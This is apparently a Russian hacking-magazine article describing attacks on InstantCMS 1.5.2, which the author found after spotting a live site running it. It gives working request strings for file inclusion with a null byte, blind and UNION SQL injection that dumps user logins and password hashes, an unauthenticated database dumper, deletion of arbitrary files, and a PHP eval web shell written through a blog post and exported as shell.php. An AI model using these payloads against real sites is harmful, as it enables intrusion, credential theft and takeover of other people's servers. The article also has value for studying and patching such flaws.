• Партнер

  • Социальные сети внезапно стали очень популярны. Сейчас социальная сеть – это
    и способ пообщаться, и найти друзей, а для кого-то – заработать деньги. И нет
    ничего удивительного, что каждый захотел создать свою соцсеть. Как раз для этого
    был написан простой, удобный (и, как позже выяснилось, изобилующий уязвимостями)
    движок. Имя ему InstantCMS.

     

    В преддверии атаки

    Бродя по просторам рунета, я наткнулся на один сайт. Его контент очень
    напоминал CMS, и я решил узнать, что же он из себя представляет. Недолго думая,
    я попытался найти админку, вбив в адресную строку:

    www.site.ru/admin/

    После этого мне оставалось только лицезреть поле ввода логина и пароля, а
    также надпись «InstantCMS – Авторизация». Навестив гугл запросом InstantCMS,
    первым результатом я получил ссылку на официальный сайт двига –
    www.instantcms.ru. Последней версией на данный момент оказалась 1.5.2. Через
    минуту исходники лежали на моем жестком диске.

     

    Gray-box

    Подняв на своем компьютере apache и mysql, я установил цмс и принялся за
    анализ исходного кода. Первое, что бросилось в глаза – это папка wysiwyg, в
    которой находился до боли знакомый FCKeditor. На мой взгляд, FCKeditor – лучший
    помощник при наличии локального инклуда. По адресу

    http://localhost/wysiwyg/editor/filemanager/connectors/test.html

    находится аплодер файлов. К сожалению, файлы с расширением .php, .phtml, .cgi
    и т.п. нам залить не получится, однако при наличии LFI это уже не важно, ведь
    файл с любым расширением выполнится как php-код. LFI+FCKeditor – и шелл у вас в
    кармане. Но все же это трудно назвать уязвимостью InstantCMS, потому что
    разработкой фцкэдитора занимаются совсем другие люди. Поэтому, так как все
    работает через mod_rewrite, я решил заглянуть в .htaccess и нашел там вот что:

    #COMPONENT "RSS FEEDS"
    RewriteRule ^rss/([a-z]*)/(.*)/feed.rss$ /components/rssfeed/frontend.php?&target=$1&item_id=$2

    В надежде найти SQL-Injection я направился к файлу frontend.php и увидел там
    интересный код:

    if (isset($_REQUEST['do'])){ $do = $_REQUEST['do']; } else { $do = 'rss';
    }
    if (isset($_REQUEST['target'])){ $target = $_REQUEST['target']; } else { die();
    }
    if (isset($_REQUEST['item_id'])) { $item_id = $_REQUEST['item_id']; } else { die();
    }
    ..................................................
    .....................................
    if ($do=='rss'){
    $rss = '';

    if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){

    $inCore->includeFile('components/'.$target.'/prss.php');

    Да это же чистой воды Local File Inclusion в переменной $target! Если в
    конфигурации PHP директива magic_quotes_gpc = off , мы можем проинклудить любой
    файл, указав нул-байтом конец строки таким образом:

    http://localhost/components/rssfeed/frontend.php?item_id=1 &target=../../../../../../../../../../../../etc/hosts%00

    Следует заметить, что способ обхода magic_quote_gpc подстановкой >4000 слешей
    в данном случае работать не будет, так как путь до файла объявлен с помощью
    переменной $_SERVER['DOCUMENT_ROOT'], а, следовательно, вызов функции getcwd()
    не выполняется.

    У нас есть LFI, а залить файл с php-кодом внутри уже не проблема, – вспомни
    про FCKeditor. В случае если администратор отключил загрузку файлов в едиторе,
    ты можешь зарегистрировать нового пользователя в системе и залить аватар со злым
    содержимым :).

     

    Укол вслепую и не только

    Инклуд это хорошо, но и на этом я не остановился, и присмотрелся внимательнее
    к коду файла frontend.php:

    if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){

    $inCore->includeFile('components/'.$target.'/prss.php');
    eval('rss_'.$target.'($item_id, $cfg, $rssdata);');

    В папке components находились различные компоненты системы, но я искал такие,
    где находился бы файл prss.php, и нашел такой

    /components/blog/prss.php

    function rss_blog($item_id, $cfg, &$rssdata){
    .............................................
    $cat = dbGetFields('cms_blogs', 'id='.$item_id, 'id, title');

    Поиск функции dbGetFields привел меня к файлу /core/cms.php:

    function dbGetFields($table, $where, $fields, $order='id ASC'){
    $inDB = cmsDatabase::getInstance();
    return $inDB->get_fields($table, $where, $fields, $order);
    }

    По правде говоря, все эти скачки по файлам мне изрядно поднадоели, но финиш
    был близок. Файл /core/classes/db.class.php показал мне содержимое функции
    get_fields:

    public function get_fields($table, $where, $fields, $order='id ASC'){

    $sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order LIMIT 1";
    $result = $this->query($sql);

    if ($this->num_rows($result)){
    $data = $this->fetch_assoc($result);
    return $data;
    } else {
    return false;
    }
    }

    На всем пути моего путешествия я не встретил ни одной проверки значения
    переменной item_id, за исключением файла .htaccess. Следовательно, у нас в
    кармане SQL-injection, но, к сожалению слепая. Пример
    использования:

    http://localhost/components/rssfeed/frontend.php?item_id=1+and+1= if(substring(version(),1,1)=5)&target=blog

    Как быстро раскрутить слепую инъекцию – читай в статье Qwazar’a в
    предыдущем номере ][. Инъекция это
    хорошо, а еще лучше – когда видишь результат запроса; через 10 минут анализа
    кода был найден файл core/ajax/tagsearch.php, а в нем – следующее содержимое:

    $q = iconv('UTF-8//IGNORE', 'WINDOWS-1251//IGNORE', $_GET['q']);
    $q = strtolower($q);
    if (!$q) return;

    define("VALID_CMS", 1);
    include($_SERVER['DOCUMENT_ROOT'].'/includes/config.inc.php');
    include($_SERVER['DOCUMENT_ROOT'].'/includes/database.inc.php');

    $sql = "SELECT tag FROM cms_tags WHERE LOWER(tag) LIKE '{$q}%' GROUP BY tag";

    $rs = mysql_query($sql);
    ...

    И к моему удивлению – также никакой проверки переменной $_GET[‘q’], плюс ко
    всему результат запроса выводился на страницу. Запрос

    http://localhost/core/ajax/tagsearch.php?q=notexisttag}'+union+select+
    concat(login,':',password)+from+cms_users+limit+1,1--+

    показал мне логин и md5(пароль) первого пользователя в базе, а убрав limit я
    получил всех пользователей. Данная SQL-Injection будет работать только при
    отключенной директиве magic_quotes_gpc.

     

    В админке

    Попав в админку, шелл можно залить несколькими способами, но самый
    эффективный – через баннеры. Переходим в Главная -> Компоненты -> Баннеры ,
    жмем «Новый баннер» и загружаем php-шелл, проверки на расширение нет. Шелл
    будет располагаться по адресу example.com/images/banners/shell.php.

     

    Больше чем дампер

    Не рассчитывая на что-то большее, я залогинился в админке с целью найти
    способ заливки веб-шелла, и первое на что обратил внимание, был дампер базы
    данных. Я решил найти его исходник в папке admin. Но он оказался совсем в другом
    месте, а именно – в core/ajax/dumper.php. Самое интересное, что при прямом
    обращении к нему не было никакой авторизации! А это значит, любой пользователь
    без админских привилегий может сделать дамп базы.

    if ($inCore->request('file', 'str')) { $shortfile = $inCore->request('file',
    'str'); } else { $shortfile = date('d-m-Y').'.sql'; }
    $opt = $inCore->request('opt', 'str', 'export');

    $dir = PATH.'/backups';
    $file = $dir.'/'.$shortfile;
    ….
    if ($opt=='export'){
    include($_SERVER['DOCUMENT_ROOT'].'/includes/dbexport.inc.php');
    if (is_writable($dir)){
    $dumper = new MySQLDump($inConf->db_base,$file,false,false);
    $dumper->doDump();
    if(!$inDB->errno()){
    $fileurl = '/backups/'.$shortfile;
    echo '<span style="color:green">Экспорт базы данных завершен.</span> <a href="/backups/'.$shortfile.'"
    target="_blank">Скачать файл</a> | <a href="#" onclick="deleteDump(\''.$shortfile.'\')">Удалить
    файл</a>';
    echo '<div class="hinttext">Чтобы скачать файл, щелкните правой кнопкой мыши по
    ссылке и выберите "Сохранить объект как..."</div>';
    } else {
    echo '<span style="color:red">Ошибка экспорта базы</span>';
    }
    } else {
    echo '<span style="color:red">Папка "/backups" не доступна для записи!</span>';

    }
    }

    При обращении к файлу с параметром opt, равным export, и file, равным
    dump.sql, в папке /backup/ создастся файл dump.sql. Пример:

    http://localhost/core/ajax/dumper.php?opt=export&file=dump.sql

    Пробежав глазами по коду, я нашел удаление произвольных файлов:

    if ($opt=='delete'){
    if(@unlink($file)){
    echo '<span style="color:green">Файл удален.</span>';
    } else {
    echo '<span style="color:red">Ошибка удаления файла.</span>';
    }
    }

    Польза от этой уязвимости незначительная, но все же есть. Пример
    использования:

    http://localhost/core/ajax/dumper.php?opt=delete&file=../index.php

    Ну и, наконец, самое интересное, – мы можем делать бэкап, причем можем задать
    любое имя файла. Что же нам мешает создать файл с расширением .php, а перед этим
    записать в базу php-код? А мешают фильтры. XSS-фильтров разработчики поставили
    очень много, но я нашел место, где символы «<>» не обрезаются.

    Для этого регистрируемся на сайте и идем в свой профиль, а именно – в раздел
    «Мой Блог», создаем там персональный блог, переходим в него и постим новую
    запись:

    <?php
    eval($_GET[ev]);
    die;
    ?>

    В итоге, в БД запишется наш php-код и останется только создать дамп с
    расширеним .php:

    http://www.example.com/core/ajax/dumper.php?opt=export&file=shell.php

    Теперь наш шелл создан и находится по адресу:

    http://www.example.com/backup/shell.php?ev=phpinfo();

     

    Outro

    Написать свою CMS довольно сложно, но еще сложнее уследить за безопасностью.
    А так как личные блоги и соцсети плодятся, как грибы после дождя, найти
    потенциально уязвимый сайт становится проще. Учись на чужих ошибках, и помни,
    что все, что ты только что прочитал, написано исключительно с целью
    ознакомления, и ни автор, ни редакция журнала не несут ответственности за твои
    действия.

    Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии